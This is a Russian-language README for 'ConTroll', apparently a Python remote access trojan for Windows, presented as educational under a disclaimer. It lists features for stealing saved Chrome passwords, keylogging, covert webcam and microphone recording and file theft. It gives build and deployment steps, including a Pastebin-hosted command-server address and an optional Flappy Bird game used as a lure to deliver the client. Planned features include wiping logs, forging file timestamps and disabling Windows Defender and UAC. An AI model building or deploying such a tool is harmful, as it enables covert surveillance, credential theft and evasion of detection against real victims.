ОТКАЗ ОТ ОТВЕТСТВЕННОСТИ

ConTroll предназначен только для образовательных/исследовательских целей. Автор НЕ несёт никакой ответственности и/или обязательств за то, как вы решите использовать любые инструменты/исходный код/любые предоставленные файлы. Автор и любые связанные с ним лица не несут ответственности за любые потери и/или ущерб, возникшие в связи с использованием ЛЮБЫХ файлов, предоставленных с ConTroll. Используя ConTroll или любые включённые файлы, вы понимаете, что СОГЛАШАЕТЕСЬ ИСПОЛЬЗОВАТЬ ИХ НА СВОЙ РИСК.

Ещё раз: ConTroll и ВСЕ включённые файлы предназначены ТОЛЬКО для ОБРАЗОВАТЕЛЬНЫХ и/или ИССЛЕДОВАТЕЛЬСКИХ целей. ConTroll предназначен ТОЛЬКО для использования в ваших собственных лабораториях пентеста или с явного согласия владельца тестируемого имущества.

ConTroll - Remote Access Trojan (RAT) / Троян удалённого доступа

Смотреть презентационное видео здесь

Создан троян удалённого доступа, который устанавливает административный контроль над любой Windows-машиной, которую он скомпрометирует.

ОБНОВЛЕНИЯ ПОСЛЕ ВИДЕОПРЕЗЕНТАЦИИ

1. Удалённое обновление IP-адреса и порта, с которыми должен связываться клиент
2. Ввод IP-адреса при запуске сервера
3. Отключение диспетчера задач

Возможности

1. Блокировка экрана жертвы.
2. Автопереподключение к серверу.
3. Создание пользовательского всплывающего окна.
4. Захват файлов с машины жертвы.
5. Получение информации о машине жертвы.
6. Кража сохранённых паролей из Chrome.
7. Активация веб-камеры и запись видео.
8. Активация микрофона и запись звука.
9. Завершение любого процесса, запущенного на машине жертвы.
10. Мониторинг поведения пользователя с помощью функций кейлоггера (нажатия клавиш и скриншоты).
11. Отключение диспетчера задач. (ВНИМАНИЕ: ВЫ, ВОЗМОЖНО, ЗАХОТИТЕ ОТКЛЮЧИТЬ ЭТУ ФУНКЦИЮ ПРИ ЛОКАЛЬНОМ ЗАПУСКЕ)

Требования

Вам НУЖНА 32-битная архитектура ОС для сборки бинарных файлов. Поэтому используйте 32-битную систему Windows или Unix для запуска и сборки кода

1. python 2.x
2. opencv
3. numpy
4. pyhook
5. pythoncom
6. pyinstaller
7. pygame
8. py2exe
9. pyAudio

Использование

НОВОЕ

СОЗДАЙТЕ АККАУНТ НА PASTEBIN, СОЗДАЙТЕ НОВУЮ ВСТАВКУ (PASTE) С IP-АДРЕСОМ И НОМЕРОМ ПОРТА, НА КОТОРЫЕ КЛИЕНТ ДОЛЖЕН ОТПРАВЛЯТЬ ОТВЕТЫ. IP-АДРЕС И НОМЕР ПОРТА ДОЛЖНЫ БЫТЬ РАЗДЕЛЕНЫ ДВОЕТОЧИЕМ, КАК ЭТО: 192.168.12.14:5000. ПОСЛЕ СОЗДАНИЯ ПОСТА НАЖМИТЕ НА RAW, ЭТО ДОЛЖНО ПЕРЕНАПРАВИТЬ ВАС НА СТРАНИЦУ, СОДЕРЖАЩУЮ ТОЛЬКО IP-АДРЕС И НОМЕР ПОРТА; СКОПИРУЙТЕ ЭТУ ССЫЛКУ И ВСТАВЬТЕ ЕЁ В CLIENT.PYW В ФУНКЦИИ getIpAddress. ЕСЛИ ПО КАКОЙ-ЛИБО ПРИЧИНЕ ВЫ ХОТИТЕ ОБНОВИТЬ IP-АДРЕС И/ИЛИ ПОРТ, НА КОТОРЫЙ ДОЛЖЕН ОРИЕНТИРОВАТЬСЯ КЛИЕНТ, ВОЙДИТЕ В СВОЙ АККАУНТ НА PASTEBIN, ВНЕСИТЕ ИЗМЕНЕНИЯ, СОХРАНИТЕ ИХ — И КЛИЕНТ ПРИМЕТ ЭТИ ИЗМЕНЕНИЯ.

1. Клонируйте репозиторий

git clone https://github.com/Lithium95/ConTroll_Remote_Access_Trojan.git

2. Установите opencv и numpy из requirements.txt

python -m pip install -r requirements.txt

3. Скачайте и установите pyHook

4. Скачайте и установите pythoncom

5. Скачайте wheel-файл pyAudio

6. Установите wheel-файл

python -m pip install PyAudio-0.2.11-cp27-cp27m-win32.whl

7. Используйте pyinstaller для сборки бинарного файла клиента

python pyinstaller.py --onefile --windowed client.pyw

Пропустите следующие 2 шага, если вы не хотите использовать игру flappy bird

8. Настройте локальный сервер для размещения client.exe. Используйте live-server

live-server --port=8081

9. Используйте py2exe для сборки игры flappy bird

python setup.py

Исполняемый файл для игры flappy bird будет находиться в папке 'dist'

10. Запустите сервер

python server.py

11. Дождитесь подключения клиента

В планах (ToDo)

1. Сделать RAT кроссплатформенным
2. Очистка журналов System, Security и Application
3. Шифрование связи между сервером и клиентом
4. Изменение свойств файлов: «доступен», «создан» и «изменён»
5. Включение/отключение таких служб, как RDP, UAC и Windows Defender